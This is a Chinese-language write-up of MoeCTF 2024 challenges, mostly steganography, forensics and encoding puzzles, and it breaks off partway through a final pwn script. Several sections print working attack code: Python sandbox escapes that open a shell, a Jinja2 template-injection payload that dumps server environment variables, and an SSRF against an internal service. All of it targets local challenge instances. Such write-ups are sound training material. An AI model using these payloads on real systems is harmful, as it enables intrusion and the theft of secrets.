杂项入门指北

海报右侧有一段摩斯密码 moectf{H4VE_A_G00D_T1ME}


signin

直接先给所有人全签个到,再把luo改成缺勤即可完成任务拿到flag

moectf{Thanks_For_You_signing_in_4ND_W3l0c0me_T0_M0ecTf_2024!!!}


罗小黑战记

WPS图片可以直接逐帧看,其中有个二维码,扫码出flag

moectf{y0uu6r3th3m0st3r1nth1sf13ld}


ez_F5

F5算法加密的jpg图片,winhex打开就能看到有一段base32,解码内容和base32之后的内容一致,no_password

可以直接用F5-steganography一把梭 https://github.com/matthewgao/F5-steganography

一开始还以为没密码,后来发现密码就是no_password,不过要注意java版本不能太高

java Extract suantouwangba.jpg -p no_password

可以在output.txt中看到解密的内容:moectf{F5_15_s0_lntere5t1n9}


捂住一只耳

daylight音频直接听能听到一串数字 63 31 43 31 41 52 31 51 71 101

看了提示,知道数字是只和键盘字母有关的坐标,一一对应起来,注意开大写锁定caps

moectf{NEVERGIVEUP}


readme

/proc/pid目录中存在关于pid进程的信息,通过文件描述符fd即/proc/pid/fd/3可以读取未被关闭的文件内容,若是当前进程,则pid可以是self,故通过/proc/self/fd/3即可读取当前进程下第一个打开但未关闭的文件/tmp/therealflag中的内容,即使原文件被删除了


moejail_lv1

可以直接拿shell,然后找找flag在哪,发现被隐藏/tmp目录下,flag文件名字很长可以用通配符*替代

Give me your payload:__import__('os').system("/bin/sh")
ls /tmp -al
total 12
drwxrwxrwt    1 root     root          4096 Aug 16 11:18 .
drwxr-xr-x    1 root     root          4096 Aug 16 11:18 ..
-rw-r--r--    1 1000     root            63 Aug 16 11:18 .therealflag_c7d07b4afdbfcc56e4a5c8066159380c85fe7bdb76da1ebad9f3622bba21f423ad5972ff2720a7b8f03903e883b49782afc9efa4d50144b1e0973cc6a421a6f4  -
cat /tmp/.t*
moectf{Ah_h4-NOw_YOU_Know_hoW_tO-3ScaPe_5ImPL3-STRINg_flLter0}

ctfer2077①

如果直接扫码会得到一串内容,有个BV号,看了就会发现被骗了(

真的flag内容在lsb隐写里,zsteg一把梭


解不完的压缩包

999.zip脚本解一下,到最后一层有个cccccccrc.zip,再从网上找一个crc32脚本爆破一下拿到密码pwd,解压缩包拿flag

import zipfile
import os

save_path = "./zip"
for i in range(999,0,-1):
    zip_path="./zip/{}.zip".format(i)
    file=zipfile.ZipFile(zip_path)
    file.extractall(save_path)
    file.close()
    os.remove("./zip/{}.zip".format(i))
import binascii
import string

def crack_crc():
    print('-------------Start Crack CRC-------------')
    crc_list = [0xf812a17e, 0x43dfeaa4, 0xc617bdf4, 0x1db1c332]#文件的CRC32值列表,注意顺序
    comment = ''
    chars = string.printable
    for crc_value in crc_list:
        for char1 in chars:
            for char2 in chars:
                res_char = char1 + char2#获取遍历的任意2Byte字符
                char_crc = binascii.crc32(res_char.encode())#获取遍历字符的CRC32值
                calc_crc = char_crc & 0xffffffff#将获取到的字符的CRC32值与0xffffffff进行与运算
                if calc_crc == crc_value:#将获取字符的CRC32值与每个文件的CRC32值进行匹配
                    print('[+] {}: {}'.format(hex(crc_value),res_char))
                    comment += res_char
    print('-----------CRC Crack Completed-----------')
    print('Result: {}'.format(comment))

if __name__ == '__main__':
    crack_crc()

moectf{af9c688e-e0b9-4900-879c-672b44c550ea}


the_secret_of_snowball

jpg文件头有问题,改成FF D8,图片正常打开就能看到前一段flag了,文件尾有一串base64,直接解拿到后半段flag

moectf{Welc0me_t0_the_secret_life_0f_Misc!}


每人至少300份

二维码碎片很友好,从中间切的,还没有旋转,二维码可以直接拼出来:

扫描得到一串神必内容:

balabalballablblablbalablbalballbase58lblblblblllblblblblbalblbdjshjshduieyrfdrpieuufghdjhgfjhdsgfsjhdgfhjdsghjgfdshjgfhjdgfhgdh///key{3FgQG9ZFteHzw7W42}??  

{}里的内容解base58得到we1rd_qrc0d3,一开始还以为是key

直接跑去解密encode.txt了,光解密英文字符部分就发现端倪了,三段分别对应firstrow,secondrow,thirdrow,一共9个数字想着肯定是二维码碎片的拼接顺序了,直接把flag交了,之后又研究了一下,写了个解密脚本

def self_decoding(output_text):
    code_setting_first = "abcdefghijklmnopqrstuvwxyz"
    output_text = output_text.split(" ")
    decoded_text = ""   
    for x in output_text:
        if x in code_setting_first:
            if ord(x) > 116: 
                num = ord(x) - 19
                x = chr(num)
                decoded_text += x
            elif ord(x) < 102 and ord(x) > 96:
                num = ord(x) + 19
                x = chr(num)
                decoded_text += x
            elif 104 <= ord(x) <= 115:
                num = 219 - ord(x)
                x = chr(num)
                decoded_text += x
    
    #明文加密时尾部数字没变,从尾部开始异或回去
    number_setting = "0123456789"
    n3 = output_text[-1]
    n2 = str(int(output_text[-2]) ^ int(n3))
    n1 = str(int(output_text[-3]) ^ int(n2))
    decoded_text += n1 + n2 + n3
    return decoded_text

def reverse_decoding(input_text):
    output_text = input_text[::-1]
    return output_text

if __name__ == "__main__":
    encoded_text1 = "7 3 5 d l i a h i r y"
    encoded_text2 = "6 5 1 d l i w m l v x h"
    encoded_text3 = "9 1 31 d l i w i r s a"
    print(self_decoding(reverse_decoding(encoded_text1)))
    print(self_decoding(reverse_decoding(encoded_text2)))
    print(self_decoding(reverse_decoding(encoded_text3)))

运行结果:

firstrow147
secondrow236
thirdrow589

moectf{we1rd_qrc0d3}


The upside and down

拿到一个.hex后缀的文件,但是内容和intel hex文件没啥关系,结合题目名,试着把每个字节的hex值左右两位交换顺序,试试前几个字节就能发现是逆置的png尾,于是就想到把所有字节都反序,然后再逆置整个文件即可,010Editor和winhex里都没找到方便反序字节的工具,直接写脚本了

with open("./the_upside_and_down.hex","rb+") as f:
    data = f.read()
    for i in range(len(data)):
        hex_num = hex(data[i]).replace("0x","").rjust(2,"0")
        hex_num_reverse = hex_num[::-1]
        reverse_byte = chr(int(hex_num_reverse,base=16)).encode("latin")
        f.seek(i)
        f.write(reverse_byte)
        f.flush()

with open("./the_upside_and_down.hex","rb+") as ff: 
    new_data = ff.read()
    with open("flag.png","wb+") as fff:
        fff.write(new_data[::-1])

flag.png是一张二维码,扫描可以得到:

where_is_the_flag?
https://balabala_towards:moectf{Fri3nds_d0n't_lie!}//

Find It

一道社工题,贴个原图先:

图片上能看到桔子水晶酒店和美居酒店,再结合提示“的”还是“的”,地图上多搜搜,能找到吉的堡幼儿园

moectf{ji_di_bao_you_er_yuan}


ez_Forensics

看看cmd记录就行

path>volatility26.exe -f flag.raw --profile=Win7SP1x64 cmdscan
Volatility Foundation Volatility Framework 2.6
**************************************************
CommandProcess: conhost.exe Pid: 2268
CommandHistory: 0x32b0a0 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 3 LastAdded: 2 LastDisplayed: 2
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x60
Cmd #0 @ 0x330410: echo moectf{WWBGY-TLVC5-XKYBZ} > flag.txt
Cmd #1 @ 0x30cec0: echo SJW7O^%gt8 > flag.txt
Cmd #2 @ 0x3350b0: del flag.txt
**************************************************
CommandProcess: conhost.exe Pid: 904
CommandHistory: 0x19b0a0 Application: DumpIt.exe Flags: Allocated
CommandCount: 0 LastAdded: -1 LastDisplayed: -1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x60

ctfer2077②

volume是加密挂载卷,密码是题目描述里的核心价值观解密内容:

法治富强自由富强和谐平等和谐平等法治法治和谐富强法治文明公正自由
p@55w0rd

VeraCrypt成功挂载后能拿到一个flag.txt,但是里面没内容,考虑到是个磁盘,想到可能是NTFS数据流隐写:

A:\>dir /r
 驱动器 A 中的卷没有标签。
 卷的序列号是 F61A-E148

 A:\ 的目录

2024/07/28  20:54                18 flag?.txt
                                 82 flag?.txt:小鹤.txt:$DATA
               1 个文件             18 字节
               0 个目录      1,064,960 可用字节

notepad打开:

A:\>notepad flag?.txt:小鹤.txt
ulpb vfde hfyz yisi buuima
key jqui xxmm vedrhx de qrpb xnxp
ulpb ui veyh dazide

结合文件名小鹤,找到个小鹤双拼输入法,照着打就能知道大概内容了:

双品 真得 很有 意思 不是吗
key 就是 下面 折断话 得 全品 笑些
双拼 事 着样 打字得

flag是上面这段话的全拼小写:

moectf{shuangpinshizheyangdazide}


拼图羔手

直接拼二维码碎片拿到加密的flag:

balabalbalablbalblablbalabala//nihaopintugaoshou//encoded_flag{71517ysd%ryxsc!usv@ucy*wqosy*qxl&sxl*sbys^wb$syqwp$ysyw!qpw@hs}

根据 encode.py 写出 decode.py 拿到key和解密后的flag:

from base64 import b64decode as bd

def self_decoding(input_text):
    code_setting_first = "abcdefghijklmnopqrstuvwxyz"
    code_setting_sec = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
    number_setting = "0123456789"
    decoded_text= ""
    for x in input_text:
        if x in code_setting_first:
            if ord(x) < 123 and ord(x) > 115:
                num = ord(x) - 19
            elif ord(x) > 96 and ord(x) < 104:
                num = ord(x) + 19
            elif 104 <= ord(x) <= 115:
                num = 219 - ord(x)
            decoded_text += chr(num)      

        elif x in code_setting_sec:
            if 64 < ord(x) < 72:
                num = ord(x) + 7  
            elif 71 < ord(x) < 79:
                num = ord (x) - 7 
            elif 78 < ord(x) < 82:
                num = ord(x) + 9 
            elif 87 < ord(x) < 91:
                num = ord(x) - 9 
            elif 81 < ord(x) < 88:
                num = 168 - ord(x) 
            decoded_text += chr(num)
        
        else:
            decoded_text += x

    if decoded_text[-1] not in number_setting:
        return decoded_text

    decoded_text = list(decoded_text)
    tmp = "7"
    for i in range(len(input_text)-2,len(input_text)-6,-1):
        decoded_text[i] = str(int(input_text[i]) ^ int(tmp))
        tmp = decoded_text[i]
    return "".join(decoded_text)

def reverse_decoding(input_text):
    output_text = input_text[::-1]
    return output_text

def strange_character_hint(key):
    key = reverse_decoding(self_decoding(key))
    return key

if __name__=="__main__":
    cipherkey = b'eGl4c2R4bmxVbVhpeHVuYkdzYXJkZnRhVWl4YXZ0aXRzSnh6bXRpYVU='
    print(strange_character_hint(bd(cipherkey).decode()))
    
    ciphertext = r"71517ysd%ryxsc!usv@ucy*wqosy*qxl&sxl*sbys^wb$syqwp$ysyw!qpw@hs"
    print(self_decoding(reverse_decoding(ciphertext)))

运行结果:

StrangeCharacterStaywithNumberOnSomewhere
hs@dkj!dfhf$kdjfh$ud^hfuh*oeh&oej*fhljd*fvb@chb!vhefi%whf52367

hint的意思可能是说flag中@这种字符应该对应键盘上的数字:

hs2dkj1dfhf4kdjfh4ud6hfuh8oeh7oej8fhljd8fvb2chb1vhefi5whf52367

唉,对着这串字符想了好久好久好久,最后发现flag是这段东西包上moectf{}


moejail_lv2

感觉和lv1没啥区别,说是过滤了字符,直接cat flag文件了也没测(

Give me your code: __import__('os').system('ls -al /tmp')
total 12
drwxrwxrwt    1 root     root          4096 Aug 26 11:11 .
drwxr-xr-x    1 root     root          4096 Aug 26 11:11 ..
-rw-r--r--    1 root     root            57 Aug 26 11:11 therealflag_35173e1253a15fb3d5d15efdc930eb8e
Nope
馃え Are you robot? Please enter 'FMMG8H'+'F9BUG2'=? to continue: FMMG8HF9BUG2
Give me your code: __import__('os').system('cat /tmp/therealflag_35*')
moectf{yOu-caN-BYPa5S-THe_Str1NG_fIITEr-6Y_NUm_t0-ChR30}

我的图层在你之上

文件尾有个网址,打开分离图层,黑的那层图片导出后,stegsolve里翻翻可以看到 key=p_w_d

用这个key解压缩包,之后解凯撒就行

zbrpgs{q751894o-rr0n-47qq-85q4-r92q0443921s}

moectf{d751894b-ee0a-47dd-85d4-e92d0443921f}

时光穿梭机

1946年4月20日的伦敦 + 当地知名的画报 ==> Illustrated London News

在这个news里面筛选时间 1946/4/20 + tomb ,能找到一篇重合度极高的画报:

https://www.britishnewspaperarchive.co.uk/viewer/bl/0001578/19460420/043/0015

读读能知道是王建墓,百度百科里信息基本和画报符合,高德地图看看就找到中医馆了:

moectf{han_fang_tang}


ctfer2077③

流量里http协议传了个zip,导出解压拿到一个gif,一个zip,一个mp3,gif有一帧里能看到key:

mp3听听没啥问题,直接试试MP3stego,解出个brainfuck:

+++++ +++[- >++++ ++++< ]>+++ +++++ .<+++ +[->- ---<] >---. <++++ +++[-
>++++ +++<] >+.<+ ++++[ ->--- --<]> ----- -.<++ +[->+ ++<]> +++++ +.<++
+[->- --<]> -.<++ ++[-> ----< ]>--- -.<++ ++++[ ->+++ +++<] >++++ +.<

解出来新的key:

H5gHWM9b

拿去解压zip,里面三段flag,是福尔摩斯里跳舞的小人密码,不过感觉画的不是很规范,那个P字母完全是猜出来的,最后猜出flag,这是其中一段:

moectf{PEOPLE_DANCING_HAPPILY}


ez_usbpcap

usb流量,用tshark提取出键盘的 usbhid data

tshark -r flag.pcapng -T fields -Y "usb.src==2.1.1" -e usbhid.data > usb.txt

提取出的 usb.txt 内容,:

00005e0000000000
0000000000000000
0000070000000000
0000000000000000
00005e0000000000
0000000000000000
0000090000000000
0000000000000000
00005e0000000000
0000000000000000
00005d0000000000
0000000000000000
00005e0000000000
0000000000000000
00005b0000000000
0000000000000000
00005f0000000000
0000000000000000
00005c0000000000
0000000000000000
00005e0000000000
0000000000000000
00005e0000000000
0000000000000000
00005f0000000000
0000000000000000
0000050000000000
0000000000000000
00005e0000000000
0000000000000000
0000080000000000
0000000000000000
00005b0000000000
0000000000000000
0000590000000000
0000000000000000
00005e0000000000
0000000000000000
0000600000000000
0000000000000000
00005e0000000000
0000000000000000
0000590000000000
0000000000000000
00005b0000000000
0000000000000000
0000620000000000
0000000000000000
00005f0000000000
0000000000000000
00005f0000000000
0000000000000000
00005b0000000000
0000000000000000
0000620000000000
0000000000000000
00005f0000000000
0000000000000000
0000610000000000
0000000000000000
00005b0000000000
0000000000000000
0000620000000000
0000000000000000
00005f0000000000
0000000000000000
00005d0000000000
0000000000000000
00005e0000000000
0000000000000000
00005c0000000000
0000000000000000
00005e0000000000
0000000000000000
0000610000000000
0000000000000000
00005e0000000000
0000000000000000
0000590000000000
0000000000000000
00005e0000000000
0000000000000000
0000080000000000
0000000000000000
00005e0000000000
0000000000000000
0000060000000000
0000000000000000
00005b0000000000
0000000000000000
00005b0000000000
0000000000000000
00005b0000000000
0000000000000000
00005a0000000000
0000000000000000
00005b0000000000
0000000000000000
00005c0000000000
0000000000000000
00005b0000000000
0000000000000000
00005d0000000000
0000000000000000
00005b0000000000
0000000000000000
0000590000000000
0000000000000000
00005f0000000000
0000000000000000
0000070000000000
0000000000000000

可以看到里面有一些不常见的data值,比如5e,自己从码表里找出对应键盘按键再补到脚本里去即可:

normalKeys = {"04": "a", "05": "b", "06": "c", "07": "d", "08": "e", "09":
"f", "0a": "g", "0b": "h", "0c": "i",
"0d": "j", "0e": "k", "0f": "l", "10": "m", "11": "n", "12":
"o", "13": "p", "14": "q", "15": "r",
"16": "s", "17": "t", "18": "u", "19": "v", "1a": "w", "1b":
"x", "1c": "y", "1d": "z", "1e": "1",
"1f": "2", "20": "3", "21": "4", "22": "5", "23": "6", "24":
"7", "25": "8", "26": "9", "27": "0",
"28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "-", "2e": "=", "2f": "[",
"30": "]", "31": "\\", "32": "<NON>", "33": ";", "34": "'",
"35": "<GA>", "36": ",", "37": ".", "38": "/",
"39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
"40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>", "59": "1", "5a": "2", "5b": "3", "5c": "4", "5d": "5", "5e": "6", "5f": "7", "60": "8", "61": "9", "62": "0"}
shiftKeys = {"04": "A", "05": "B", "06": "C", "07": "D", "08": "E", "09": "F",
"0a": "G", "0b": "H", "0c": "I",
"0d": "J", "0e": "K", "0f": "L", "10": "M", "11": "N", "12": "O",
"13": "P", "14": "Q", "15": "R",
"16": "S", "17": "T", "18": "U", "19": "V", "1a": "W", "1b": "X",
"1c": "Y", "1d": "Z", "1e": "!",
"1f": "@", "20": "#", "21": "$", "22": "%", "23": "^", "24": "&",
"25": "*", "26": "(", "27": ")",
"28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "_", "2e": "+", "2f": "{",
"30": "}", "31": "|", "32": "<NON>", "33": "\"", "34": ":", "35":
"~", "36": "<", "37": ">", "38": "?",
"39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
"40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>", "59": "1", "5a": "2", "5b": "3", "5c": "4", "5d": "5", "5e": "6", "5f": "7", "60": "8", "61": "9", "62": "0"}

flag = ""
with open("usb.txt","r+") as f:
    lines = f.readlines()
    for line in lines:
        key = line[4:6]
        flag += normalKeys[key]
print (flag)

运行结果:

6d6f656374667b6e3168613077307930756469616e6c33323435317d

再转一下hex就能拿到flag:


Abnormal lag

频谱图直接看,注意题目给出的正则表达式:

flag格式:moectf{[\da-f-]+}

moectf{09e3f7f8-c970-4c71-92b0-6f03a677421a}


so many ’m'

字频统计,然后照着拼就是flag,注意M和p的位置要换一下:

moectf{C0MpuTaskingD4rE}


小小套娃

png chunk块最后一个明显不对劲,binwalk出来一个zlib文件,文件夹里有解压好的文件,拿出来发现是个png文件,cyberchef转一下:

图片是一个二维码,直接扫拿到第一个压缩包密码:

送你一个key!you've got the zipkey:874jfy37yf37y7

第二个txt文件是个零宽字符隐写,linux下vim打开编辑文件可以看到有哪些零宽字符:

不过不知道为什么勾上了对应的零宽字符在线网站解不出,换了个网站直接出了:

拿到第二个压缩包密码:

idon'tknowmaybeits:dhufhduh48589

解压拿到flag.txt,里面是新佛曰加密的内容,直接解就拿到flag:


moejail_lv2.5

提示里给了正则表达式:

if re.search(r'["\'0-8bdhosxy_]|[^\x00-\xff]', code): print("Nope")
if len(code) > 15: print("Too long")

容易想到 eval(input()) 来绕过限制,之后就是找flag,依旧在/tmp目录下:

Give me your code: eval(input())
__import__('os').system('cat /tmp/the*')
moectf{50mEtlMeS-InpuT_CaN_be_A-M3tHOD_TO_BypAss_fIIt3rs0}

moejail_lv3

if re.search(r"[A-z0-9]", code): print("Nope")

用unicode字符来绕过即可:

from pwn import *

unicode_chr = "𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗𝘢𝘣𝘤𝘥𝘦𝘧𝘨𝘩𝘪𝘫𝘬𝘭𝘮𝘯𝘰𝘱𝘲𝘳𝘴𝘵𝘶𝘷𝘸𝘹𝘺𝘻𝘈𝘉𝘊𝘋𝘌𝘍𝘎𝘏𝘐𝘑𝘒𝘔𝘕𝘖𝘗𝘘𝘙𝘚𝘛𝘜𝘝𝘞𝘟𝘠𝘡_"

#𝘦𝘷𝘢𝘭(𝘪𝘯𝘱𝘶𝘵())

exp = "𝘦𝘷𝘢𝘭(𝘪𝘯𝘱𝘶𝘵())"

p = remote("127.0.0.1",30179)
p.recvuntil(b"Please enter '")
cha1 = p.recv(6).decode()
p.recvuntil(b"'+'")
cha2 = p.recv(6).decode()
cha = cha1 + cha2
p.sendline(cha.encode())
p.sendlineafter(b"Give me your code:",exp.encode())
p.interactive()

之后正常在/tmp目录下找flag:

__import__('os').system('cat /tmp/the*') 
moectf{peP-aIloW_yOU_use-uN1coD3_cHar_A5-A5Ci1_onEs0}

moejail_lv4

Hint: eval(code, {"__builtins__": {"eval": lambda *x: print("sry, no eval for u")},},{},)

执行eval的环境把所有内置函数都删掉了,只留了个改过的eval函数,具体就是如果code里想要执行 eval() ,无论括号里是什么,都会 print("sry, no eval for u")

可以通过魔术方法重新获取 __builtins __ 模块,构造如下形式的继承链:

().__class__.__base__.__subclasses__()[{}].__init__.__globals__["__builtins__"]["__import__"]("os").system("whoami")'.format(i)

由于eval不会返回 ().__class__.__base__.__subclasses__() 的结果,所以考虑爆破:

from pwn import *

def verify():
    p.recvuntil(b"Please enter '")
    cha1 = p.recv(6).decode()
    p.recvuntil(b"'+'")
    cha2 = p.recv(6).decode()
    cha = cha1 + cha2
    p.sendline(cha.encode())


def exp(i):
    exp = '().__class__.__base__.__subclasses__()[{}].__init__.__globals__["__builtins__"]["__import__"]("os").system("ls /")'.format(i)
    return exp


p = remote("127.0.0.1",1086)
verify()

for i in range(159):
    p.sendlineafter(b"Give me your code:",exp(i).encode())
    res = p.recvline().decode()
    verify()
    print(i,res)

运行结果中有一些是成功执行 whoami 的,比如最后几个:

154  nobody

155  nobody

156  nobody

157  🤔 Error: 'wrapper_descriptor' object has no attribute '__globals__'

158  nobody

之后就是拿shell找flag,给出完整exp:

from pwn import *

def verify():
    p.recvuntil(b"Please enter '")
    cha1 = p.recv(6).decode()
    p.recvuntil(b"'+'")
    cha2 = p.recv(6).decode()
    cha = cha1 + cha2
    p.sendline(cha.encode())

'''
def exp(i):
    exp = '().__class__.__base__.__subclasses__()[{}].__init__.__globals__["__builtins__"]["__import__"]("os").system("ls /")'.format(i)
    return exp


p = remote("127.0.0.1",1086)
verify()

for i in range(159):
    p.sendlineafter(b"Give me your code:",exp(i).encode())
    res = p.recvline().decode()
    verify()
    print(i,res)
'''

p = remote("127.0.0.1",1086)
verify()
exp = '().__class__.__base__.__subclasses__()[158].__init__.__globals__["__builtins__"]["__import__"]("os").system("sh")'
p.sendlineafter(b"Give me your code:",exp.encode())
p.interactive()
ls /tmp
therealflag_4e9e98cbe32a98ead5ed47dd59b3b238
cat /tmp/t*
moectf{YoU-c4n_reCoveR_Glob4l5-@ND_6UI1tInS-FR0M-cuST0M_functions0}

Web渗透测试与审计入门指北

本地用phpstudy起一个网站即可:

或者直接分析 index.phpscript.php ,找出加密方式,能看到php里给出了ciphertext和key:

<?php
$data = array(
    "ciphertext" => "F8NX+bX/AAT5oTosfY7JpiQ1oQM0onbI/41oFG9khFMr68qBn8ZlPia8XhrLSMFo",
    "key" => "1234567891011121"
);
header('Content-Type: application/json');
echo json_encode($data);
?>

再关注html中的body部分,能看到进行了base64_deocde + AES-CBC的操作:

<body>
	<h1 class="title">Welcome to Moectf</h1>
	<div id="xt"></div>
    <script>
        fetch('script.php')
            .then(response => response.json())
            .then(data => {
                var ciphertext = data.ciphertext;
                var key = CryptoJS.enc.Utf8.parse(data.key);
                var iv = CryptoJS.enc.Utf8.parse("17829693");
                
                
                var decodedCiphertext = CryptoJS.enc.Base64.parse(ciphertext);
                
                
                var decrypted = CryptoJS.AES.decrypt({ ciphertext: decodedCiphertext }, key, {
                    iv: iv,
                    mode: CryptoJS.mode.CBC,
                    padding: CryptoJS.pad.Pkcs7
                });
                
                
                var plaintext = decrypted.toString(CryptoJS.enc.Utf8);
                

                document.getElementById('xt').innerHTML = '<p>' + plaintext + '</p>';
            })
            .catch(error => console.error('Error:', error));
    </script>
</body>

cyberchef解一下也能拿到flag,注意iv不足16字节,填\x00补齐即可:


勇闯铜人阵

要求5次正确回答问题,并且根据问题,会有两种类型的回答,可以先抓包看一下传参类型:

发现是POST传参以及对应问题位置,写个脚本注意保持会话即可:

import requests
import re


position_mapping = {"1":"北方","2":"东北方","3":"东方","4":"东南方","5":"南方","6":"西南方","7":"西方","8":"西北方"}

def start():
    start = {"player": "w8nn9z", "direct": "弟子明白"}
    res = session.post(url,data=start)
    return res


def num(res):
    pattern1 = re.compile(r'id="status">\s*.*\s*</')
    message = re.findall(pattern1,res)[0]
    pattern2 = re.compile(r'\d+')
    num = re.findall(pattern2,message)
    return num


def sol(res):
    num_list = num(res.text)
    if len(num_list) == 1:
        req = position_mapping[str(num_list[0])]
        res = session.post(url,data={"player": "w8nn9z", "direct": req})
        return res
    else:
        req = position_mapping[str(num_list[0])] + "一个" + "," + position_mapping[str(num_list[1])] + "一个"
        res = session.post(url,data={"player": "w8nn9z", "direct": req})
        return res


url = "http://127.0.0.1:1433/"
session = requests.session()
res = start()
for i in range(5):
    res = sol(res)
print(res.text)

输出结果:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>听声辩位</title>
</head>
<link rel="stylesheet" type="text/css" href="/static/style.css">
<body>

<h1 id="title">听声辩位</h1>
<p>闯关弟子注意,本关继续考验你听声辩位的功夫</p>
<p>你可定坐中央,先后将有五波数字抛出,你需要在3秒内按要求说出方位</p>        
<p>示例:1 -> 北方</p>
<p>2,3 -> 东北方一个,东方一个</p>
<p>输入选手名字和 "弟子明白" 开始游戏</p>

<div class="parent">
    <img src="/static/images/test.png" id="imgs">


</div>

<form action="/restart" method="get" id="div_restart">
    <label for="restart">按下按钮重新开始:</label>
    <button id="restart">开始</button>
    <br><br>
</form>

<form action="/" method="post" id="submit">
    <label for="player">请输入选手名字:</label>
    <input type="text" id="player" name="player">
    <br><br>
    <label for="direct">请回答问题:</label>
    <input type="text" id="direct" name="direct">
    <br><br>
    <label for="say">按下按钮回答:</label>
    <button id="say">回答</button>
</form>


<h1 id="status">
    <span style="color:green;">你过关!(过关的小曲)<br>moectf{w3LllI_YoU-PA55_The_cHal1eNGe-frrRrRom_tOnRen8}</span>

</h1>

</body>
</html>

who’s blog?

网站有这样一句话,提示传参id:

这里曾经是 Sxrhhh 的个人小站。但是迫于压力,Sxrhhh 只能拍卖自己的网站了。提供你的 id 来领养这个可怜的网站吧

尝试后可以发现是ssti,并且如果报错可以发现是Jinjia2的模板,之后就是常规注入:

http://127.0.0.1:32683/?id={{().__class__.__base__.__subclasses__()[239].__init__.__globals__['__builtins__'].eval("__import__('os').popen('env').read()"")}}
KUBERNETES_SERVICE_PORT=443 KUBERNETES_PORT=tcp://10.43.0.1:443 HOSTNAME=ret2shell-40-7062 PYTHON_PIP_VERSION=23.0.1 SHLVL=1 HOME=/root GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D WERKZEUG_SERVER_FD=4 PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/66d8a0f637083e2c3ddffc0cb1e65ce126afb856/public/get-pip.py WERKZEUG_RUN_MAIN=true KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1 PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin KUBERNETES_PORT_443_TCP_PORT=443 KUBERNETES_PORT_443_TCP_PROTO=tcp LANG=C.UTF-8 PYTHON_VERSION=3.10.14 PYTHON_SETUPTOOLS_VERSION=65.5.1 KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443 KUBERNETES_SERVICE_HOST=10.43.0.1 PWD=/app PYTHON_GET_PIP_SHA256=6fb7b781206356f45ad79efbb19322caa6c2a5ad39092d0d44d0fec94117e118 FLAG=moectf{d0-y0u-kNOw-SST1-4Nd_pl3A5e-V151t_5XRHHhS-BL0g2} 

ImageCloud

附件给了两个flask服务的源码,app.py 部署在5000的端口上,而 app2.py 部署在5001~5999的端口上,同时在 uploads 目录下可以看到有损坏的 flag.jpg ,提示了flag图片的位置

先分析 app.py ,实现了一个图片上传的功能,UPLOAD_FOLDER = 'static/' ,且限制了常见的图片后缀,同时 /image 路由用来获取图片:

@app.route('/image', methods=['GET'])
def load_image():
    url = request.args.get('url')
    if not url:
        return 'URL 参数缺失', 400

    try:
        response = requests.get(url)
        response.raise_for_status()
        img = Image.open(BytesIO(response.content))

        img_io = BytesIO()
        img.save(img_io, img.format)
        img_io.seek(0)
        return send_file(img_io, mimetype=img.get_format_mimetype())
    except Exception as e:
        return f"无法加载图片: {str(e)}", 400

再分析 app2.py ,同样有图片上传功能,不过 UPLOAD_FOLDER = 'uploads/',也存在获取图片的路由:

@app.route('/image/<filename>', methods=['GET'])
def load_image(filename):
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    if os.path.exists(filepath):
        mime = get_mimetype(filepath)
        return send_file(filepath, mimetype=mime)
    else:
        return '文件未找到', 404

这样自然能想到通过外部图片云的 /image 路由去访问内部图片云的flag图片,只要再爆破一下 app2.py 的端口即可:

拿到flag图片:


二进制漏洞审计入门指北

直接nc是不行的,需要用pwntools进行交互

from pwn import *

p = remote("127.0.0.1",52609)
p.interactive()

运行结果:

Hey, how did you get here?

I've been waiting so long, for anyone...

To honor your courage, I decided to give you a flag.

But next time, it won't be so easy.

moectf{Welcome_to_the_journey_of_Pwn}

Good luck.


By the way, netcat is not a cat!

flag_helper

nc连上以后先是4个选择,都尝试了一遍后发现只有4才能读取文件内容进而读取/flag

Welcome to MoeCTF 2024 "Pwn".
Have trouble with flag?
What can I do for you?
1. "Capture the flag."
2. "Goodbye."
3. "V me 50 pts."
4. "Play game with me."
Make your choice.
> 4
OK. Tell me a file path. I can `read` what others cannot `read`.
> /flag

后要求输入open的’flags’参数,输入0发现能打开/flag文件

Now, give me `flags` for this to-be-opened file.
> 0
Opened file /dev/random.
Opened file /dev/urandom.
Opened file /flag.
Opened file /dev/zero.

后要求输入mmap的’prot’参数和’flags’参数,本来不知道是什么,后来在做一道ORW题目时看到了关于mmap的内容(

于是知道prot参数为7,flags参数为0x22即34

Then we have to `mmap` a place for the content... How do we `prot` it?
> 7
And, `flags`. (Calm down, your flag is on the way.)
> 34
Coming in three!
Two...
Oonnne...

最后只要输入/flag对应的文件描述符即可,fd从0开始分别对应了标准输入,标准输出,标准错误,以及打开的文件/dev/random,/dev/unrandom,/flag,/dev/zero,所以/flag对应的fd为5

... I forgot the `fd` to read from. Do you still remember?
> 5
Oh, yes yeah, 5.
Finally, here you are.
moectf{f1IE-de5CR1PTOr-IS-PrEDlcT@bIe46361a}

NotEnoughTime

口算题卡属于是,只需注意地板除以及去掉题目的\n即可,进行多次交互得flag

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

p = remote("127.0.0.1",53597)
p.recvuntil(b"Let's begin with simple ones.\n")
